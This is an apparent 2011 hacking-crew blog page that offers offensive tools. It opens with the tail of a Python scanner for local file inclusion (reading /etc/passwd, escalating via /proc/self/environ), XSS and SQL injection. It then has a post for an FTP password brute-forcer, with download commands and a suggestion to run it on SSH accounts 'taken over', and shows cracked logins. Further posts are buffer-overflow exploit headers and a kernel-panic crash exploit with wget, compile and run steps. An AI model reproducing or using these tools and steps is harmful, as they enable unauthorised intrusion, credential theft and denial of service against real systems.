  if lfiurl[-1] != "=":
    lfiurl = lfiurl + "="
  for lfi in lfis:
    try:
      check = urllib2.urlopen(lfiurl+lfi.replace("\n", "")).read()
      if re.findall("root:x", check):
	print R+"[!] w00t!,w00t!: ", O+lfiurl+lfi,R+" ---> Local File Include Found"
	lfi_log_file.write("\n"+lfiurl+lfi)
	vuln.append(lfiurl+lfi)
	target = lfiurl+lfi
	target = target.replace("/etc/passwd","/proc/self/environ")
	header = ""
        try:
	  request_web = urllib2.Request(target)
	  request_web.add_header('User-Agent', header)
	  text = urllib2.urlopen(request_web)
	  text = text.read()
	  if re.findall("f17f4b3e8e709cd3c89a6dbd949d7171", text):
	    print R+"[!] w00t!,w00t!: ",O+target,R+" ---> LFI to RCE Found"
	    rce_log_file.write("\n",target)
	    vuln.append(target)
        except:
	  pass
	
    except:
      pass

def ClassicXSS(url):
  for xss in xsses:
    try:
      source = urllib2.urlopen(url+xss.replace("\n","")).read()
      if re.findall("XSS by baltazar", source):
	print R+"[!] w00t!,w00t!: ", O+url+xss,R+" ---> XSS Found (might be false)"
	xss_log_file.write("\n"+url+xss)
	vuln.append(url+xss)
    except:
      pass

def injtest():
  print B+"\n[+] Preparing for SQLi scanning ..."
  print "[+] Can take a while ..."
  print "[!] Working ...\n"
  i = len(usearch) / int(numthreads)
  m = len(usearch) % int(numthreads)
  z = 0
  if len(threads) <= numthreads:
    for x in range(0, int(numthreads)):
      sliced = usearch[x*i:(x+1)*i]
      if (z
 Download
Posted by FlashcRew at 00:09
Labels: , , , , , , ,
Aug 31, 2011

0
ev1lut10n local ftp bruter version 1.0

Hi there .. an another qulaity tool by my friend ev1lut10n. for bruteforcing FTP logins via ssh servers . u can use any ssh that u can get from ur scanning for try to crack FTP's .. Tool work on localhost

 

Download : http://jayakonstruksi.com/backupintsec/ev1cpanel_finder.tgz

suggested run on ssh acc that u have taken over

==========
ev1lut10n@ev1l:~$ wget jayakonstruksi.com/backupintsec/ev1cpanel_finder.tgz
--2011-08-31 16:55:31-- http://jayakonstruks.../e...finder.tgz
Resolving jayakonstruksi.com... 202.155.61.121
Connecting to jayakonstruksi.com|202.155.61.121|:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 2638 (2.6K) [application/x-tar]
Saving to: `ev1cpanel_finder.tgz'

100%[===================================================================================================================>] 2,638 --.-K/s in 0.01s

2011-08-31 16:55:31 (204 KB/s) - `ev1cpanel_finder.tgz' saved [2638/2638]

ev1lut10n@ev1l:~$ tar zxvf ev1cpanel_finder.tgz
ev1cpanel_finder/
ev1cpanel_finder/ftp_credentials.txt
ev1cpanel_finder/ev1cp.pl
ev1cpanel_finder/invalid_user_lists.txt
ev1cpanel_finder/password.txt
ev1lut10n@ev1l:~$ cd ev1cpanel_finder
ev1lut10n@ev1l:~/ev1cpanel_finder$ perl ev1cp.pl

============


than just wait for some hours ;-p


=========
ev1lut10n@ev1l:~/ev1cpanel_finder$ perl ev1cp.pl

_____
___ _ _< / /
/ -_) |/ / / /
__/|___/_/_/ uti0n Cpanel Finder


H3llc0me to ev1lut10n Cpanel Finder version 1.0


checking whether 21 is open or not at :
ev1lut10n@ev1l:~/ev1cpanel_finder$
Start ftp dict attack at 127.0.0.1 for username:bojing

Start ftp dict attack at 127.0.0.1 for username:ev1lut10n

testing bojing and bojing at 127.0.0.1

Start ftp dict attack at 127.0.0.1 for username:kacung

snippped-----------

_____
___ _ _< / /
/ -_) |/ / / /
__/|___/_/_/ uti0n Cpanel Finder


H3llc0me to ev1lut10n Cpanel Finder version 1.0


Finished ! please check ftp_credentials.txt, if null means fail epic !
ev1lut10n@ev1l:~/ev1cpanel_finder$ cat ftp_credentials.txt
null

[+] w00t kacung : 123 found !!!


[+] w00t bojing : 12345 found !!!

==========

on success u got some weak password on that box
Posted by FlashcRew at 21:50
Labels: , , , , , , ,
Aug 29, 2011

0
Free MP3 CD Ripper 1.1 Buffer Overflow (SEH)

Hello .. My friend x-h4ck today have write an another b0f SEH exploit on "Free MP3  CD Ripper 1.1" ..


# #############################################################################
# Exploit Title : Free MP3 CD Ripper 1.1 Buffer Overflow (SEH)          
# Software	    : http://www.brothersoft.com/free-mp3-cd-ripper-84543.html
# Version	    : 1.1
# Tested on	    : Windows XP sp3 (en)
# Date		    : 28/08/2011
# Author		: X-h4ck
# Website	    : http://www.pirate.al , http://theflashcrew.blogspot.com 
# PirateAL Crew (2011)
# Email		    : mem001@live.com
# Greetz		: Wulns~ - Danzel - IllyrianWarrior- Ace - M4yh3m - Saldeath  
#                 mywisdom - bi0 - Slimshaddy - d3trimentaL - Lekosta - Rigon
#                 H-Down - H3ll - Pretorian
# #############################################################################
 
 
Exploit Link: inj3ct0r 
Enjoy ...
Keep it up x-h4ck :p 










Posted by
FlashcRew


at
21:49


























Labels:
,
,
,
,
















          

        

        

      

Aug 27, 2011


        

      










0


Free MP3 CD Ripper 1.1 Local Buffer Overflow











# ############################################################################
# Exploit Title : Free MP3 CD Ripper 1.1 Local Buffer Overflow 
# Software	    : http://www.brothersoft.com/free-mp3-cd-ripper-84543.html
# Version	    : 1.1
# Tested on	    : Windows xp sp3 (en)
# Date		    : 27/08/2011
# Author		: X-h4ck
# Website	    : http://www.pirate.al , http://theflashcrew.blogspot.com
# Email		    : mem001@live.com
# Greetz		: Wulns~ - Danzel - IllyrianWarrior- Ace - M4yh3m - Saldeath  
#                 mywisdom - bi0 - Slimshaddy - d3trimentaL - Lekosta - Rigon
#                 H-Down - H3ll - Pretorian
# ############################################################################
 
Link Exploit 










Posted by
FlashcRew


at
17:48


























Labels:
,
,
















          

        

        

      

Jul 5, 2011


        

      










0


CoolPlayer 219 Buffer Overflow Exploit











# #########################################################################
#~ Title         : CoolPlayer 219 Buffer Overflow Exploit   
#~ Software      : http://coolplayer.en.softonic.com/
#~ Tested on     : Windows XP SP3 English
#~ Date          : 04/07/2011
#~ Author        : X-h4ck
#~ Site          : http://www.pirate.al/ #PirateAL Crew , http://theflashcrew.blogspot.com/ 
#~ Email         : mem001@live.com 
#~ Greetz        : Wulns~ - IllyrianWarrior - Danzel - Ace - M4yh3m - Saldeath - bi0 - Slimshaddy - d3trimentaL - Lekosta - Pretorian - CroSs(r00tworm) - Rigon
# #########################################################################
1337Day Link 










Posted by
FlashcRew


at
09:43


























Labels:
,
,
















          

        

        

      

Oct 22, 2010


        

      










0


goldhaxors private local kernel 2.6.x kernel panic via pthread











Ok here's a little private local kernel 2.6.x kernel panic exploit via  pthread This sploit more dangerous than my other sploits before and  cannot be prevented by process limiting since this only create one  process and no socket required here. 

C0d3r: mywisdom Especially  dedicated for goldhaxors.com and devilzc0de.org and jasakom.com and my  lovely honey july aka prisciela mariebeth



http://u.bb/1V1



compile:



g++ goldhaxors.cpp -o goldhaxors -lpthread -D_REENTRANT



and then run it:



./goldhaxors



and wait and ..boom kernel crash with only one process



sample usage 1:



cd /tmp

wget http://yoyoparty.com/upload/goldhaxors.tgz

tar zxvf goldhaxors.tgz

cd goldhaxors

g++ goldhaxors.cpp -o goldhaxors -lpthread -D_REENTRANT

./goldhaxors



sample usage 2:



cd /tmp
wget http://yoyoparty.com/upload/goldhaxors.tgz
tar zxvf goldhaxors.tgz
cd goldhaxors
./goldhaxors.sh



–greeetz–



/***goldhaxors private local kernel 2.6.x kernel panic via pthread



c0d3r: mywisdom (solhack 2004 c0d3r, devilzc0de c0d3r 2010)



do visit:www.goldhaxors.com



special thanks to: goldhaxors crews and members



more thanks to :devilzc0de crews and members,yogyacarderlink crews and

members, jatimcrew crews and members, hackernewbie crews and

members,fasthacker crews and members and so on



greets: Danzel,unkn0wn

very special thanks to my beloved girl: juliana a.k.a vilecen a.k.a prisciela mariebeth



greets2: gunslinger, flyv666,kiddies,

petimati,xtr0nic,whitehat,cr4wl3r,gblack,v3n0m,d3xt3r,chaer

newbie,blu3k1d (dark shine),linggah,yadoy666,aurel666,devil

nongkrong,ki lurah,z0mb13,byz999,iblis

muda,7460,n0ge,stardustmemory,angela zhang,fasthacker,hendri

note,kingkong,thitha, nur si sister chubby,etc…










Posted by
FlashcRew


at
02:04


























Labels:
,
,
,
,
,
















      

    










Subscribe to:
Posts (Atom)












 












FlashcRew Blog